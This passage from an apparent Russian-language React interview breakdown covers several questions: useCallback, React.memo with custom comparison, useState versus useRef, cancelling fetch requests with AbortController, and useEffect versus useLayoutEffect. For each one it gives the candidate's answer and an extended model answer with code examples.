function UserProfile({ userId }) {
const [user, setUser] = useState(null);

useEffect(() => {
fetchUser(userId).then(setUser);
}, [userId]);

return user ? <div>{user.name}</div> : <div>Loading...</div>;
}

// При смене userId React создаёт новый компонент
<UserProfile key={userId} userId={userId} />

// Без key React переиспользует компонент и состояние
<UserProfile userId={userId} />

2. useCallback и мемоизация

А. Для чего нужен useCallback

useCallback мемоизирует функцию, возвращая ту же ссылку при каждом рендере (если зависимости не изменились):

import { useCallback, useState } from 'react';

function Parent() {
const [count, setCount] = useState(0);
const [text, setText] = useState('');

// Без useCallback — новая функция при каждом рендере
const handleClick = () => {
console.log('Clicked');
};

// С useCallback — та же функция, пока зависимости не изменились
const handleClickMemo = useCallback(() => {
console.log('Clicked');
}, []);

return (
<div>
<button onClick={() => setCount(count + 1)}>Count: {count}</button>
<input value={text} onChange={(e) => setText(e.target.value)} />
{/* Child перерендерится при изменении text, даже если handleClick не изменился */}
<Child onClick={handleClickMemo} />
</div>
);
}

Б. Когда НЕ нужен useCallback

// 1. Функция не передаётся в дочерние компоненты
function Component() {
// ✅ Не нужен useCallback — функция используется только здесь
const handleClick = () => {
console.log('Clicked');
};

return <button onClick={handleClick}>Click</button>;
}

// 2. Дочерний компонент не обёрнут в memo
function Parent() {
// ✅ Не нужен useCallback — Child всё равно перерендерится
const handleClick = () => {
console.log('Clicked');
};

return <Child onClick={handleClick} />;
}

// 3. Простые компоненты без тяжёлых вычислений
function SimpleList({ items }) {
// ✅ Не нужен useCallback — компонент лёгкий
const handleItemClick = (id) => {
console.log('Item clicked:', id);
};

return (
<ul>
{items.map((item) => (
<li key={item.id} onClick={() => handleItemClick(item.id)}>
{item.name}
</li>
))}
</ul>
);
}

В. Когда НУЖEN useCallback

import { memo, useCallback, useState } from 'react';

// Дочерний компонент обёрнут в memo
const ExpensiveChild = memo(function ExpensiveChild({ onClick, data }) {
console.log('ExpensiveChild rendered');
// Тяжёлые вычисления...
return <button onClick={onClick}>Process</button>;
});

function Parent() {
const [count, setCount] = useState(0);
const [text, setText] = useState('');

// ❌ Без useCallback — ExpensiveChild перерендерится при каждом изменении text
const handleClick = () => {
console.log('Clicked');
};

// ✅ С useCallback — ExpensiveChild не перерендерится при изменении text
const handleClickMemo = useCallback(() => {
console.log('Clicked');
}, []);

return (
<div>
<button onClick={() => setCount(count + 1)}>Count: {count}</button>
<input value={text} onChange={(e) => setText(e.target.value)} />
<ExpensiveChild onClick={handleClickMemo} data={count} />
</div>
);
}

Г. useCallback + memo — полная оптимизация

import { memo, useCallback, useState } from 'react';

// memo предотвращает ререндер, если props не изменились
const ListItem = memo(function ListItem({ item, onSelect, onDelete }) {
console.log(`Render: ${item.name}`);
return (
<div>
<span>{item.name}</span>
<button onClick={() => onSelect(item.id)}>Select</button>
<button onClick={() => onDelete(item.id)}>Delete</button>
</div>
);
});

function ItemList({ items }) {
const [selectedId, setSelectedId] = useState(null);

// Без useCallback — новые функции при каждом рендере
// → memo не работает → все ListItem перерендерятся

// С useCallback — функции стабильны
// → memo работает → перерендеряется только изменившийся ListItem
const handleSelect = useCallback((id) => {
setSelectedId(id);
}, []);

const handleDelete = useCallback((id) => {
// Удаление элемента
}, []);

return (
<div>
{items.map((item) => (
<ListItem
key={item.id}
item={item}
onSelect={handleSelect}
onDelete={handleDelete}
/>
))}
</div>
);
}

Д. Альтернатива useCallback — useRef

import { useRef, useState } from 'react';

function Component() {
const [count, setCount] = useState(0);
const callbackRef = useRef(null);

// Сохраняем функцию в ref — ссылка стабильна
callbackRef.current = () => {
console.log('Count:', count);
};

// Передаём стабильную обёртку
const stableCallback = useCallback(() => {
callbackRef.current?.();
}, []); // Пустая зависимость — функция никогда не меняется

return <Child onClick={stableCallback} />;
}

3. Сравнительная таблица

СитуацияuseCallback нужен?Почему
Функция в том же компонентеНетНет передачи в дочерние
Передача в обычный компонентНетНет memo — ререндер всё равно
Передача в memo-компонентДаПредотвращает лишние ререндеры
Зависимость useEffectДаПредотвращает бесконечные циклы
Зависимость других хуковДаСтабильность ссылок

4. Резюме

key:

  • Обязателен для списков
  • Должен быть уникальным и стабильным
  • Не используйте индексы для изменяемых списков
  • Определяет идентичность компонента для React

useCallback:

  • Мемоизирует функцию для стабильности ссылок
  • Нужен только с memo для дочерних компонентов
  • Избегайте преждевременной оптимизации
  • Профилируйте перед оптимизацией

Оптимизация в React должна быть основана на измерениях, а не на предположениях. Используйте React DevTools Profiler для выявления реальных узких мест.

Вопрос 24. Для чего нужен React.memo и можно ли контролировать логику сравнения в нём?

Таймкод: 00:57:07

Ответ собеседника: Правильный. React.memo используется для избежания лишних рендеров — под капотом сравнивает пропсы, и если они не изменились, ререндер не происходит. Можно передать второй аргумент с кастомной функцией сравнения пропсов.

Правильный ответ:

React.memo — это компонент высшего порядка (HOC), который мемоизирует функциональный компонент, предотвращая его повторный рендер при неизменённых пропсах.

1. Базовое использование

import { memo } from 'react';

// Без memo — компонент рендерится при каждом рендере родителя
function UserCard({ name, email }) {
console.log('UserCard rendered');
return (
<div>
<h3>{name}</h3>
<p>{email}</p>
</div>
);
}

// С memo — компонент рендерится только при изменении пропсов
const MemoizedUserCard = memo(UserCard);

// Или сразу
const UserCard = memo(function UserCard({ name, email }) {
console.log('UserCard rendered');
return (
<div>
<h3>{name}</h3>
<p>{email}</p>
</div>
);
});

2. Как работает React.memo

Под капотом React.memo выполняет поверхностное сравнение (shallow comparison) пропсов:

Предыдущие пропсы: { name: 'Иван', email: 'ivan@test.com' }
Новые пропсы: { name: 'Иван', email: 'ivan@test.com' }

Результат: Пропсы равны → ререндер не происходит
function Parent() {
const [count, setCount] = useState(0);
const [name, setName] = useState('Иван');

return (
<div>
<button onClick={() => setCount(count + 1)}>
Count: {count}
</button>

{/* Без memo: рендерится при каждом изменении count */}
{/* С memo: рендерится только при изменении name или email */}
<UserCard name={name} email="ivan@test.com" />
</div>
);
}

3. Поверхностное сравнение

React.memo сравнивает пропсы по ссылке для объектов и по значению для примитивов:

// Примитивы — сравнение по значению
memo(Component)({ count: 1 }) === memo(Component)({ count: 1 }) // true

// Объекты — сравнение по ссылке
const obj1 = { name: 'Иван' };
const obj2 = { name: 'Иван' };
memo(Component)({ data: obj1 }) !== memo(Component)({ data: obj2 }) // true (разные ссылки)

// Функции — сравнение по ссылке
memo(Component)({ onClick: () => {} }) !== memo(Component)({ onClick: () => {} }) // true

4. Кастомная функция сравнения

Второй аргумент React.memo — функция сравнения, которая получает предыдущие и новые пропсы:

const MemoizedComponent = memo(
function Component({ user, onUpdate }) {
return <div>{user.name}</div>;
},
(prevProps, nextProps) => {
// Вернуть true — пропсы равны, ререндер НЕ нужен
// Вернуть false — пропсы изменились, нужен ререндер

return (
prevProps.user.id === nextProps.user.id &&
prevProps.user.name === nextProps.user.name
);
}
);

5. Практические примеры кастомного сравнения

А. Сравнение по определённым полям

interface User {
id: number;
name: string;
email: string;
lastLogin: Date;
}

const UserCard = memo(
function UserCard({ user }: { user: User }) {
return (
<div>
<h3>{user.name}</h3>
<p>{user.email}</p>
</div>
);
},
(prev, next) => {
// Сравниваем только поля, которые влияют на отображение
return (
prev.user.id === next.user.id &&
prev.user.name === next.user.name &&
prev.user.email === next.user.email
);
// lastLogin игнорируется — не влияет на UI
}
);

Б. Глубокое сравнение для вложенных объектов

import isEqual from 'lodash/isEqual';

const DeepCompareComponent = memo(
function Component({ config }) {
return <div>{config.theme.primaryColor}</div>;
},
(prev, next) => {
return isEqual(prev.config, next.config);
}
);

В. Сравнение массивов

const ListComponent = memo(
function ListComponent({ items }) {
return (
<ul>
{items.map((item) => (
<li key={item.id}>{item.name}</li>
))}
</ul>
);
},
(prev, next) => {
if (prev.items.length !== next.items.length) return false;

return prev.items.every((item, index) =>
item.id === next.items[index].id &&
item.name === next.items[index].name
);
}
);

Г. Игнорирование функций (стабильные ссылки)

import { useCallback, memo } from 'react';

function Parent() {
const [count, setCount] = useState(0);

// useCallback гарантирует стабильную ссылку
const handleClick = useCallback(() => {
console.log('Clicked');
}, []);

return (
<div>
<button onClick={() => setCount(count + 1)}>Count: {count}</button>
<MemoizedChild onClick={handleClick} />
</div>
);
}

// Здесь кастомное сравнение не нужно — useCallback обеспечивает стабильность
const MemoizedChild = memo(function Child({ onClick }) {
console.log('Child rendered');
return <button onClick={onClick}>Click</button>;
});

6. Когда React.memo бесполезен

// ❌ Бесполезно — примитивы и так сравниваются
const MemoizedText = memo(function Text({ text }) {
return <span>{text}</span>;
});

// ❌ Бесполезно — новые объекты при каждом рендере
function Parent() {
return (
<MemoizedComponent
style={{ color: 'red' }} // Новый объект каждый раз
onClick={() => {}} // Новая функция каждый раз
/>
);
}

// ❌ Бесполезно — компонент всегда получает новые пропсы
function Parent({ items }) {
return items.map((item) => (
<MemoizedItem
key={item.id}
data={{ ...item }} // Новый объект каждый раз
/>
));
}

7. Паттерны использования

А. Оптимизация списков

const ListItem = memo(function ListItem({ item, onSelect, onDelete }) {
console.log(`Render: ${item.name}`);
return (
<div>
<span>{item.name}</span>
<button onClick={() => onSelect(item.id)}>Select</button>
<button onClick={() => onDelete(item.id)}>Delete</button>
</div>
);
});

function ItemList({ items }) {
const handleSelect = useCallback((id) => {
// ...
}, []);

const handleDelete = useCallback((id) => {
// ...
}, []);

return (
<div>
{items.map((item) => (
<ListItem
key={item.id}
item={item}
onSelect={handleSelect}
onDelete={handleDelete}
/>
))}
</div>
);
}

Б. Оптимизация тяжёлых компонентов

const HeavyChart = memo(function HeavyChart({ data, config }) {
// Тяжёлые вычисления для построения графика
const processedData = useMemo(() => {
return data.map((item) => ({
...item,
value: complexCalculation(item),
}));
}, [data]);

return <ChartRenderer data={processedData} config={config} />;
});

8. React.memo для классовых компонентов

Для классовых компонентов используется PureComponent или shouldComponentUpdate:

class UserCard extends React.PureComponent {
// PureComponent автоматически делает shallow compare
render() {
return (
<div>
<h3>{this.props.name}</h3>
<p>{this.props.email}</p>
</div>
);
}
}

// Или с кастомной логикой
class UserCard extends React.Component {
shouldComponentUpdate(nextProps) {
return (
this.props.name !== nextProps.name ||
this.props.email !== nextProps.email
);
}

render() {
return (
<div>
<h3>{this.props.name}</h3>
<p>{this.props.email}</p>
</div>
);
}
}

9. Сравнение подходов

ПодходКогда использоватьПлюсыМинусы
memo без аргументовПростые пропсы (примитивы, стабильные объекты)ПростотаНе работает с новыми объектами
memo + useCallbackФункции в пропсахПолный контрольНужно следить за зависимостями
memo + custom compareСложные объектыГибкостьРиск ошибок в сравнении
useMemo для пропсовОбъекты/массивы в пропсахСтабильные ссылкиДополнительный код

10. Резюме

React.memo — мощный инструмент для оптимизации, но требует понимания:

  • Используйте с useCallback для функций в пропсах
  • Используйте useMemo для объектов/массивов в пропсах
  • Кастомное сравнение — для специфических случаев
  • Профилируйте перед оптимизацией
  • Не применяйте везде — только где есть реальная проблема с производительностью

Помните: преждевременная оптимизация — корень всех злов. Сначала измеряйте, потом оптимизируйте.

Вопрос 25. Почему для управления видимостью списка используется useState, а не useRef?

Таймкод: 00:57:50

Ответ собеседника: Правильный. useRef при изменении не триггерит рендер, поэтому при изменении значения перерисовка не произойдёт и список не скроется. useState вызывает ре-рендер при изменении состояния.

Правильный ответ:

Разница между useState и useRef фундаментальна: useState управляет состоянием, которое влияет на отображение, а useRef хранит изменяемые значения без влияния на рендеринг.

1. Ключевое отличие

import { useState, useRef } from 'react';

function VisibilityExample() {
// useState — изменение вызывает ре-рендер
const [isVisible, setIsVisible] = useState(true);

// useRef — изменение НЕ вызывает ре-рендер
const isVisibleRef = useRef(true);

return (
<div>
<button onClick={() => setIsVisible(!isVisible)}>
Toggle with useState
</button>
<button onClick={() => { isVisibleRef.current = !isVisibleRef.current }}>
Toggle with useRef
</button>

{/* Этот список реагирует на изменения */}
{isVisible && <List />}

{/* useRef не влияет на отображение! */}
</div>
);
}

2. Демонстрация проблемы с useRef

function BrokenVisibility() {
const isVisibleRef = useRef(true);
const [items, setItems] = useState(['Item 1', 'Item 2', 'Item 3']);

const toggleVisibility = () => {
isVisibleRef.current = !isVisibleRef.current;
// ❌ Значение изменилось, но React об этом не знает
// ❌ Ре-рендер не произошёл
// ❌ UI не обновился
console.log('Visibility:', isVisibleRef.current); // Видим в консоли
// Но список всё ещё отображается (или скрыт) — без изменений
};

return (
<div>
<button onClick={toggleVisibility}>Toggle</button>

{/* Проблема: не можем использовать ref для условного рендеринга */}
{/* {isVisibleRef.current && <List />} — не работает! */}

{/* useState работает корректно */}
</div>
);
}

3. Когда использовать useRef вместо useState

useRef подходит для хранения значений, которые:

  • Не влияют на отображение
  • Нужны для императивных операций
  • Должны сохраняться между рендерами без вызова ре-рендера
function ProperRefUsage() {
// ✅ Ссылка на DOM-элемент
const inputRef = useRef(null);

// ✅ Предыдущее значение (без влияния на UI)
const previousValue = useRef(null);

// ✅ Таймер/интервал ID
const timerRef = useRef(null);

// ✅ Флаг монтирования
const isMountedRef = useRef(true);

// ✅ Кэш вычислений (без триггера рендера)
const cacheRef = useRef(new Map());

const focusInput = () => {
inputRef.current?.focus();
};

return (
<div>
<input ref={inputRef} />
<button onClick={focusInput}>Focus</button>
</div>
);
}

4. Практические примеры

А. Отслеживание предыдущего значения

function usePrevious(value) {
const ref = useRef();

useEffect(() => {
ref.current = value;
}, [value]);

return ref.current;
}

function Counter() {
const [count, setCount] = useState(0);
const prevCount = usePrevious(count);

return (
<div>
<p>Current: {count}</p>
<p>Previous: {prevCount}</p>
<button onClick={() => setCount(count + 1)}>Increment</button>
</div>
);
}

Б. Управление таймерами

function Timer() {
const [time, setTime] = useState(0);
const intervalRef = useRef(null);

const start = () => {
intervalRef.current = setInterval(() => {
setTime((prev) => prev + 1);
}, 1000);
};

const stop = () => {
clearInterval(intervalRef.current);
};

useEffect(() => {
return () => clearInterval(intervalRef.current);
}, []);

return (
<div>
<p>Time: {time}</p>
<button onClick={start}>Start</button>
<button onClick={stop}>Stop</button>
</div>
);
}

В. Флаг монтирования (предотвращение утечек памяти)

function DataFetcher() {
const [data, setData] = useState(null);
const isMountedRef = useRef(true);

useEffect(() => {
isMountedRef.current = true;

fetchData().then((result) => {
if (isMountedRef.current) {
setData(result);
}
});

return () => {
isMountedRef.current = false;
};
}, []);

return <div>{data ? data.name : 'Loading...'}</div>;
}

5. Гибридный подход: useRef + принудительный рендер

Иногда нужна оптимизация — хранить значение в ref, но иметь возможность принудительно обновить UI:

function useForceUpdate() {
const [, setTick] = useState(0);
return useCallback(() => setTick((t) => t + 1), []);
}

function OptimizedComponent() {
const itemsRef = useRef([]);
const forceUpdate = useForceUpdate();

const addItem = (item) => {
itemsRef.current.push(item);
// Не вызываем рендер при каждом добавлении
};

const commitChanges = () => {
// Принудительный рендер только когда нужно
forceUpdate();
};

return (
<div>
<button onClick={() => addItem('New item')}>Add</button>
<button onClick={commitChanges}>Commit</button>
<ul>
{itemsRef.current.map((item, i) => (
<li key={i}>{item}</li>
))}
</ul>
</div>
);
}

6. Сравнительная таблица

ХарактеристикаuseStateuseRef
Вызывает ре-рендерДаНет
Сохраняется между рендерамиДаДа
Асинхронные обновленияДа (батчинг)Нет (синхронно)
Можно использовать для условного рендерингаДаНет
Доступ к значениюЧерез переменную состоянияЧерез .current
Подходит для DOM-ссылокНетДа
Подходит для таймеровНет (лишние рендеры)Да

7. Правильное использование для видимости

// ✅ Правильно — useState для видимости
function ToggleList() {
const [isVisible, setIsVisible] = useState(true);

return (
<div>
<button onClick={() => setIsVisible(!isVisible)}>
{isVisible ? 'Hide' : 'Show'}
</button>
{isVisible && <ItemList />}
</div>
);
}

// ✅ Альтернатива — условный класс (без монтирования)
function ToggleListWithClass() {
const [isVisible, setIsVisible] = useState(true);

return (
<div>
<button onClick={() => setIsVisible(!isVisible)}>Toggle</button>
<div style={{ display: isVisible ? 'block' : 'none' }}>
<ItemList />
</div>
</div>
);
}

8. Резюме

  • useState — для данных, которые влияют на UI и требуют ре-рендера
  • useRef — для данных, которые не влияют на UI, но должны сохраняться между рендерами

Для управления видимостью списка обязательно использовать useState, потому что:

  1. Изменение видимости требует обновления UI
  2. React должен знать об изменении для запуска ре-консиляции
  3. useRef не уведомляет React об изменениях

Использование useRef для видимости приведёт к рассинхронизации состояния и UI — значение изменится, но компонент не перерендерится.

Вопрос 26. Как отменить запрос при переходе на другую страницу, если он уже был отправлен?

Таймкод: 01:00:42

Ответ собеседника: Правильный. Использовать AbortController — передать сигнал в fetch и вызвать метод abort в cleanup-функции useEffect для отмены запроса при размонтировании компонента.

Правильный ответ:

Отмена запросов при размонтировании компонента — важная практика для предотвращения утечек памяти и ошибок «Can't perform state update on unmounted component». AbortController — стандартный браузерный API для отмены асинхронных операций.

1. Базовый пример с useEffect

import { useState, useEffect } from 'react';

function UserProfile({ userId }) {
const [user, setUser] = useState(null);
const [loading, setLoading] = useState(true);
const [error, setError] = useState(null);

useEffect(() => {
const controller = new AbortController();
const signal = controller.signal;

async function fetchUser() {
try {
setLoading(true);
const response = await fetch(`/api/users/${userId}`, { signal });

if (!response.ok) {
throw new Error(`HTTP ${response.status}`);
}

const data = await response.json();
setUser(data);
} catch (err) {
// Игнорируем ошибку отмены запроса
if (err.name !== 'AbortError') {
setError(err.message);
}
} finally {
if (!signal.aborted) {
setLoading(false);
}
}
}

fetchUser();

// Cleanup — отмена запроса при размонтировании
return () => {
controller.abort();
};
}, [userId]);

if (loading) return <div>Loading...</div>;
if (error) return <div>Error: {error}</div>;
return <div>{user?.name}</div>;
}

2. Проблема без AbortController

// ❌ Плохо — запрос не отменяется
function UserProfile({ userId }) {
const [user, setUser] = useState(null);

useEffect(() => {
fetch(`/api/users/${userId}`)
.then((res) => res.json())
.then((data) => {
// ⚠️ Если компонент размонтировался, будет ошибка:
// "Can't perform a React state update on an unmounted component"
setUser(data);
});
}, [userId]);

return <div>{user?.name}</div>;
}

Проблемы:

  • Запрос продолжает выполняться после размонтирования
  • Попытка обновить состояние размонтированного компонента
  • Утечка памяти
  • Возможные race conditions

3. Кастомный хук useFetch

import { useState, useEffect, useCallback } from 'react';

interface UseFetchResult<T> {
data: T | null;
loading: boolean;
error: string | null;
refetch: () => void;
}

function useFetch<T>(url: string): UseFetchResult<T> {
const [data, setData] = useState<T | null>(null);
const [loading, setLoading] = useState(true);
const [error, setError] = useState<string | null>(null);

const fetchData = useCallback(async (signal: AbortSignal) => {
try {
setLoading(true);
setError(null);

const response = await fetch(url, { signal });

if (!response.ok) {
throw new Error(`HTTP ${response.status}: ${response.statusText}`);
}

const result = await response.json();
setData(result);
} catch (err) {
if (err instanceof DOMException && err.name === 'AbortError') {
// Запрос был отменён — не ошибка
return;
}
setError(err instanceof Error ? err.message : 'Unknown error');
} finally {
setLoading(false);
}
}, [url]);

useEffect(() => {
const controller = new AbortController();
fetchData(controller.signal);

return () => {
controller.abort();
};
}, [fetchData]);

const refetch = useCallback(() => {
const controller = new AbortController();
fetchData(controller.signal);
}, [fetchData]);

return { data, loading, error, refetch };
}

// Использование
function UserList() {
const { data, loading, error, refetch } = useFetch<User[]>('/api/users');

if (loading) return <div>Loading...</div>;
if (error) return <div>Error: {error}</div>;

return (
<div>
<button onClick={refetch}>Refresh</button>
<ul>
{data?.map((user) => (
<li key={user.id}>{user.name}</li>
))}
</ul>
</div>
);
}

4. Отмена при быстром переключении (race condition)

function SearchResults({ query }) {
const [results, setResults] = useState([]);
const [loading, setLoading] = useState(false);

useEffect(() => {
const controller = new AbortController();

async function search() {
if (!query.trim()) {
setResults([]);
return;
}

setLoading(true);

try {
const response = await fetch(`/api/search?q=${query}`, {
signal: controller.signal,
});
const data = await response.json();
setResults(data);
} catch (err) {
if (err.name !== 'AbortError') {
console.error('Search error:', err);
}
} finally {
setLoading(false);
}
}

// Добавляем debounce для поиска
const timeoutId = setTimeout(search, 300);

return () => {
clearTimeout(timeoutId);
controller.abort();
};
}, [query]);

return (
<div>
{loading && <div>Searching...</div>}
<ul>
{results.map((item) => (
<li key={item.id}>{item.title}</li>
))}
</ul>
</div>
);
}

5. Продвинутый хук с отменой предыдущего запроса

import { useState, useEffect, useRef } from 'react';

function useAbortableFetch<T>(url: string) {
const [data, setData] = useState<T | null>(null);
const [loading, setLoading] = useState(false);
const [error, setError] = useState<string | null>(null);
const controllerRef = useRef<AbortController | null>(null);

useEffect(() => {
// Отменяем предыдущий запрос
if (controllerRef.current) {
controllerRef.current.abort();
}

const controller = new AbortController();
controllerRef.current = controller;

async function fetchData() {
setLoading(true);
setError(null);

try {
const response = await fetch(url, { signal: controller.signal });

if (!response.ok) {
throw new Error(`HTTP ${response.status}`);
}

const result = await response.json();
setData(result);
} catch (err) {
if (err instanceof DOMException && err.name === 'AbortError') {
return; // Игнорируем отмену
}
setError(err instanceof Error ? err.message : 'Unknown error');
} finally {
setLoading(false);
}
}

fetchData();

return () => {
controller.abort();
};
}, [url]);

return { data, loading, error };
}

6. Использование с axios

import { useState, useEffect } from 'react';
import axios from 'axios';

function useAxiosFetch<T>(url: string) {
const [data, setData] = useState<T | null>(null);
const [loading, setLoading] = useState(true);
const [error, setError] = useState<string | null>(null);

useEffect(() => {
const source = axios.CancelToken.source();

async function fetchData() {
try {
setLoading(true);
const response = await axios.get(url, {
cancelToken: source.token,
});
setData(response.data);
} catch (err) {
if (axios.isCancel(err)) {
// Запрос был отменён
return;
}
setError(err instanceof Error ? err.message : 'Unknown error');
} finally {
setLoading(false);
}
}

fetchData();

return () => {
source.cancel('Component unmounted');
};
}, [url]);

return { data, loading, error };
}

7. Обработка AbortError

async function fetchWithAbort(url: string, signal: AbortSignal) {
try {
const response = await fetch(url, { signal });
return await response.json();
} catch (error) {
if (error instanceof DOMException && error.name === 'AbortError') {
console.log('Request was aborted');
return null; // или throw специфическую ошибку
}
throw error; // Пробрасываем остальные ошибки
}
}

// Типизированная версия
class RequestAbortedError extends Error {
constructor(message = 'Request was aborted') {
super(message);
this.name = 'RequestAbortedError';
}
}

async function fetchWithErrorHandling(url: string, signal: AbortSignal) {
try {
const response = await fetch(url, { signal });
return await response.json();
} catch (error) {
if (error instanceof DOMException && error.name === 'AbortError') {
throw new RequestAbortedError();
}
throw error;
}
}

8. Полный пример: страница с навигацией

import { useState, useEffect } from 'react';
import { useParams, useNavigate } from 'react-router-dom';

function UserDetail() {
const { userId } = useParams();
const navigate = useNavigate();
const [user, setUser] = useState(null);
const [loading, setLoading] = useState(true);
const [error, setError] = useState(null);

useEffect(() => {
const controller = new AbortController();

async function loadUser() {
try {
setLoading(true);
setError(null);

const response = await fetch(`/api/users/${userId}`, {
signal: controller.signal,
});

if (!response.ok) {
throw new Error(`HTTP ${response.status}`);
}

const data = await response.json();
setUser(data);
} catch (err) {
if (err.name !== 'AbortError') {
setError(err.message);
}
} finally {
setLoading(false);
}
}

loadUser();

// Отменяем запрос при переходе на другую страницу
return () => controller.abort();
}, [userId]);

if (loading) return <div>Loading user...</div>;
if (error) return <div>Error: {error}</div>;
if (!user) return <div>User not found</div>;

return (
<div>
<button onClick={() => navigate('/users')}>Back</button>
<h1>{user.name}</h1>
<p>{user.email}</p>
</div>
);
}

9. Сравнение подходов

ПодходПлюсыМинусы
AbortControllerСтандартный API, работает с fetchНужно передавать signal в каждый запрос
axios CancelTokenУдобный APIТребует библиотеку axios
Флаг isMountedПростотаНе отменяет запрос, только игнорирует результат
AbortController + refКонтроль над несколькими запросамиБольше кода

10. Резюме

  • Всегда отменяйте запросы при размонтировании компонента
  • Используйте AbortController для fetch, CancelToken для axios
  • Обрабатывайте AbortError отдельно — это не ошибка, а ожидаемое поведение
  • Добавляйте debounce для поиска и автодополнения
  • Используйте кастомные хуски для переиспользуемой логики
  • Тестируйте отмену запросов при быстрой навигации

Вопрос 27. Чем отличается useEffect от useLayoutEffect?

Таймкод: 01:01:23

Ответ собеседника: Правильный. useLayoutEffect выполняется синхронно до рендеринга компонента, а useEffect — асинхронно после рендеринга. Это основное отличие.

Правильный ответ:

useEffect и useLayoutEffect имеют одинаковую сигнатуру, но принципиально различаются по времени выполнения и влиянию на отображение. Понимание разницы критически важно для предотвращения визуальных артефактов (flickering).

1. Жизненный цикл и время выполнения

useEffect — асинхронно, после рендеринга:

1. React рендерит компонент (создаёт виртуальный DOM)
2. React применяет изменения к реальному DOM
3. Браузер отображает изменения на экране (paint)
4. React вызывает useEffect callback

useLayoutEffect — синхронно, до отображения:

1. React рендерит компонент (создаёт виртуальный DOM)
2. React применяет изменения к реальному DOM
3. React вызывает useLayoutEffect callback (синхронно!)
4. Браузер отображает изменения на экране (paint)

2. Визуальная разница

import { useState, useEffect, useLayoutEffect } from 'react';

// useEffect — видим мерцание
function WithUseEffect() {
const [width, setWidth] = useState(0);

useEffect(() => {
// Выполняется ПОСЛЕ отрисовки — видим мерцание!
const element = document.getElementById('box');
setWidth(element?.offsetWidth ?? 0);
}, []);

return (
<div>
{/* Сначала рендерится с width=0, потом обновляется */}
<div id="box" style={{ width: '100%', backgroundColor: 'lightblue' }}>
Width: {width}px
</div>
</div>
);
}

// useLayoutEffect — без мерцания
function WithUseLayoutEffect() {
const [width, setWidth] = useState(0);

useLayoutEffect(() => {
// Выполняется ДО отрисовки — мерцания нет!
const element = document.getElementById('box');
setWidth(element?.offsetWidth ?? 0);
}, []);

return (
<div>
{/* Рендерится сразу с правильной шириной */}
<div id="box" style={{ width: '100%', backgroundColor: 'lightblue' }}>
Width: {width}px
</div>
</div>
);
}

3. Когда использовать useLayoutEffect

А. Измерения DOM перед отрисовкой

function Tooltip({ targetRef, children }) {
const [position, setPosition] = useState({ top: 0, left: 0 });

useLayoutEffect(() => {
// Измеряем целевой элемент ДО отрисовки тултипа
const rect = targetRef.current?.getBoundingClientRect();
if (rect) {
setPosition({
top: rect.bottom + 8,
left: rect.left,
});
}
}, [targetRef]);

return (
<div
className="tooltip"
style={{
position: 'fixed',
top: position.top,
left: position.left,
}}
>
{children}
</div>
);
}

Б. Предотвращение мерцания при анимациях

function AnimatedModal({ isOpen }) {
const [scale, setScale] = useState(0);

useLayoutEffect(() => {
if (isOpen) {
// Устанавливаем начальное значение ДО отрисовки
setScale(0);
// Запускаем анимацию
requestAnimationFrame(() => {
setScale(1);
});
}
}, [isOpen]);

if (!isOpen) return null;

return (
<div
style={{
transform: `scale(${scale})`,
transition: 'transform 0.3s ease-out',
}}
>
Modal Content
</div>
);
}

В. Синхронное обновление DOM

function AutoFocusInput() {
const inputRef = useRef(null);

useLayoutEffect(() => {
// Фокус устанавливается ДО отрисовки — пользователь не видит мигания
inputRef.current?.focus();
}, []);

return <input ref={inputRef} placeholder="Auto-focused" />;
}

4. Когда использовать useEffect

А. Запросы к API

function UserList() {
const [users, setUsers] = useState([]);

useEffect(() => {
// Запросы не влияют на начальный рендер — используем useEffect
fetch('/api/users')
.then((res) => res.json())
.then(setUsers);
}, []);

return (
<ul>
{users.map((user) => (
<li key={user.id}>{user.name}</li>
))}
</ul>
);
}

Б. Подписка на события

function WindowSize() {
const [size, setSize] = useState({ width: 0, height: 0 });

useEffect(() => {
const handleResize = () => {
setSize({
width: window.innerWidth,
height: window.innerHeight,
});
};

window.addEventListener('resize', handleResize);
handleResize(); // Начальное значение

return () => window.removeEventListener('resize', handleResize);
}, []);

return <div>Width: {size.width}, Height: {size.height}</div>;
}

В. Таймеры и интервалы

function Timer() {
const [seconds, setSeconds] = useState(0);

useEffect(() => {
const interval = setInterval(() => {
setSeconds((s) => s + 1);
}, 1000);

return () => clearInterval(interval);
}, []);

return <div>Seconds: {seconds}</div>;
}

5. Проблема с SSR (Server-Side Rendering)

useLayoutEffect не работает на сервере — выдаёт предупреждение:

// ❌ Предупреждение при SSR
function Component() {
useLayoutEffect(() => {
// Warning: useLayoutEffect does nothing on the server
const width = document.getElementById('box')?.offsetWidth;
}, []);

return <div id="box">Content</div>;
}

// ✅ Решение: динамический импорт или проверка
function Component() {
useEffect(() => {
// useEffect работает и на сервере (просто не выполняется)
const width = document.getElementById('box')?.offsetWidth;
}, []);

return <div id="box">Content</div>;
}

6. Хук useIsomorphicLayoutEffect

Для библиотек, работающих и на клиенте, и на сервере:

import { useEffect, useLayoutEffect } from 'react';

// Используем useLayoutEffect на клиенте, useEffect на сервере
const useIsomorphicLayoutEffect =
typeof window !== 'undefined' ? useLayoutEffect : useEffect;

function Component() {
useIsomorphicLayoutEffect(() => {
// Работает корректно и на клиенте, и на сервере
const element = document.getElementById('box');
// ...
}, []);

return <div id="box">Content</div>;
}

Библиотеки вроде react-use и @floating-ui/react предоставляют готовые реализации.

7. Производительность

useLayoutEffect блокирует отрисовку, поэтому может влиять на производительность:

// ❌ Плохо — тяжёлые вычисления в useLayoutEffect
function SlowComponent() {
useLayoutEffect(() => {
// Тяжёлые вычисления блокируют отрисовку
for (let i = 0; i < 1000000; i++) {
// ...
}
}, []);

return <div>Content</div>;
}

// ✅ Хорошо — тяжёлые вычисления в useEffect
function FastComponent() {
useEffect(() => {
// Не блокирует отрисовку
for (let i = 0; i < 1000000; i++) {
// ...
}
}, []);

return <div>Content</div>;
}

8. Сравнительная таблица

ХарактеристикаuseEffectuseLayoutEffect
Время выполненияПосле paintДо paint
Блокирует отрисовкуНетДа (синхронно)
Подходит для измеренийНет (мерцание)Да
Подходит для API-запросовДаНет (блокирует)
Работает при SSRДа (не выполняется)Нет (предупреждение)
ПроизводительностьВышеНиже (блокирует)

9. Правило выбора

Нужно ли измерять DOM или изменить элемент ДО отрисовки?
├── Да → useLayoutEffect
└── Нет → useEffect (всегда предпочтительнее)

10. Практические рекомендации

  • По умолчанию используйте useEffect — он не блокирует отрисовку
  • useLayoutEffect только когда есть мерцание — измерения DOM, позиционирование
  • Избегайте тяжёлых вычислений в useLayoutEffect — это блокирует UI
  • Для SSR-совместимости используйте useIsomorphicLayoutEffect
